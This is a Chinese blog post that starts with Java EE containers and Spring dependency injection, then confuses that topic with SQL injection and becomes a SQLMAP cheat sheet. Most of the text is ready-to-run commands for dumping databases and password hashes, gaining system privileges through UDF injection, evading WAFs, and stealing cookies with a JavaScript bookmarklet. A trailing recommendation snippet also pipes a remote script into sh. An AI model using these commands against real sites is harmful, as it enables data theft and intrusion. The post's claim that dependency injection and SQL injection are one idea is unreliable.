容器(Container)就是组件和底层服务细节之间的接口。在web组件、企业级Bean等能够执行之前,它必须被装配为一个JavaEE模块,并部署在容器上。

在JavaEE5时代通过注解的方式注入(injection)资源。依赖注入是Spring的思想,在使用Spring进行开发时,可以将对象交给spring进行管理,在初始化时spring创建一批对象,当你需要用的时候只要从spring的容器中获取对象,而不用自己去new,当然在对象创建的时候可以注入另一个对象。

网上的注入工具很多,大多也有比较详细的解释,但是大部分windows下的注入软件都是对自己软件的一种推荐,而且很多也不是非常的安全,对于有些破解版本来说,很可能自身会被带有木马,所以,Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。我所介绍的是一款名为SQLMAP的注入工具,有感兴趣的可以去他的官网看看哦!

首先,SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

其次,SQLMAP支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

SQLMAP支持五种不同的注入模式:

l  基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

l  基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

l  基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

l  联合查询注入,可以使用union的情况下的注入;

l  堆查询注入,可以同时执行多条语句的执行时的注入

一些简单的SQLMAP使用:

1. 基础用法:

一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库

./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库

./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户

./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户

./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名

./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名

./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
2. sqlmap post注入
我们在使用Sqlmap进行post型注入时, 经常会出现请求遗漏导致注入失败的情况。 这里分享一个小技巧,即结合burpsuite来使用sqlmap, 用这种方法进行post注入测试会更准确,操作起来也非常容易。
   1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
   2. 配置burp代理(127.0.0.1:8080)以拦截请求
   3. 点击login表单的submit按钮
   4. 这时候Burp会拦截到了我们的登录POST请求
   5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
   6. 运行sqlmap并使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而-p 大家应该比较熟悉,指定注入用的参数。
3.sqlmap  cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2
2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可
利用sqlmap cookies注入突破用户登录继续注入 先把用户登陆的cookie拿到吧, 在收藏夹添加一个链接cookies属性: 名字自己取 javascript:alert(document.cookie),,需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入
4. sqlmap遇到url重写的注入
哪里存在注入就加上 * 号 1 ./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 编码绕waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
 
 
其他基础:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容
******************信息获取******************

sqlmap -u “ –smart –dbms “Mysql” –users  #列数据库用户

sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库

sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码

sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码

sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表

sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限

sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限

sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员

sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色

sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表

sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入

sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录

sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试

sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入

sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by

sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入

sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入

sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息

sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定关键词

Container&injection的更多相关文章

  1. Container&injection(容器与注入思想)

    container 为了更好理解JAVA容器,查询了容器的概念以及容器的诞生原因和历史: 容器技术是怎么一个概念呢?其实,IT里的容器技术是英文单词Linux Container的直译.contain ...

  2. container/injection简介以及发展历史

    一:什么是Container?Container的作用? 容器是一个标准的软件单元,它将代码及其所有依赖关系打包,以便应用程序从一个计算环境快速可靠地运行到另一个计算环境.container的主要作用 ...

  3. Java EE ----- Container/Injection

    容器(container)是一个类,实际上是component的子类,因此容器本身也是一个组件,具有组件的所有性质,但是它的主要功能是容纳其他组件和容器. 对于开发人员,需要引入复杂的代码解决事务以及 ...

  4. Container/Injection

    1.容器的历史 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能访问到这个新的 ...

  5. 为什么会出现container/injection的思想?

    1.容器的历史 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能访问到这个新的 ...

  6. Container/Injection 为什么会出现容器的思路,以后会有什么的趋势,未来是怎样的

    一.为什么会出现容器的思路? 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能 ...

  7. container injection——容器技术

    (一)容器技术为什么出现 在很久很久以前,想要在线上服务器部署一个应用,首先需要购买一个物理服务器,在服务器安装一个操作系统,然后安装好应用所需要的各种依赖环境,最后才可以进行应用的部署,而且一台服务 ...

  8. weblogic环境,应用上传图片报Could not initialize class sun.awt.X11.XToolkit

    问题描写叙述 遇到的问题是在weblogic环境,应用在上传图片的时候报Could not initialize class sun.awt.X11.XToolkit 错误. 详细错误例如以下 17: ...

  9. Container and Injection in Java

    一.Container 1.为什么使用Container 通常,瘦客户端多层应用程序很难编写,因为它们涉及处理事务和状态管理.多线程.资源池和其他复杂的低级细节的复杂代码行.基于组件和独立于平台的Ja ...

随机推荐

  1. docker安装和基础操作

    docker安装 yum install docker 配置镜像下载加速器 curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh ...

  2. ORA-39006错误原因及解决办法

    使用impdp导出数据时碰到ora-39006错误,错误提示如下所示: ORA-39006: internal error ORA-39213: Metadata processing is not ...

  3. 【Common】NO.81.Note.1.Common.1.001-【各种英文符号的表示及念法】

    1.0.0 Summary Tittle:[Common]NO.81.Note.1.Common.1.001-[各种英文符号的表示及念法] Style:Common Series:Common Sin ...

  4. C#设计模式(6)——原型模式(Prototype Pattern)(转)

    一.引言 在软件系统中,当创建一个类的实例的过程很昂贵或很复杂,并且我们需要创建多个这样类的实例时,如果我们用new操作符去创建这样的类实例,这未免会增加创建类的复杂度和耗费更多的内存空间,因为这样在 ...

  5. lua常用方法收集

    1. xlua之将c#集合转换成table -- 将c#的list转换成table local function ConvertCSListToTable(list) local t = {}; , ...

  6. 无需激活直接同步登入discuz,php代码(直接可用)

    <?php /** * 抽奖 * @param int $total */ function getReward($total=1000) { $win1 = floor((0.12*$tota ...

  7. 查看 chrome 浏览器中的 Headers

    查看 chrome 浏览器中的 Headers, Response 信息:

  8. Linux基础命令---sysctl修改内核参数

    sysctl sysctl指令用来修改正在运行的内核参数,可以修改的参数都保存在/proc/sys/目录中,修改会立即生效.Linux中的sysctl支持需要Procfs.您可以使用sysctl来读取 ...

  9. vue项目中postcss-pxtorem的使用及webpack中的配置 css中单位px和em,rem的区别

    移动手机版要求我们在制作嵌入h5的时候去适配不同的手机.适配有多重模式,有flex.百分比等.字体大小的控制也有px.百分比.rem等单位,webpack中 px转rem. vue项目中postcss ...

  10. eleemnt-ui修改主题颜色

    饿了吗的element-ui使用的是淡蓝色的主题,有时候我们可以自定义主题,官方的文档给我们提供了如何修改主题,介绍的很详细,自己试验过后,觉得很不错,一方面怕忘记,一方面写一写. 方法一是在线生成一 ...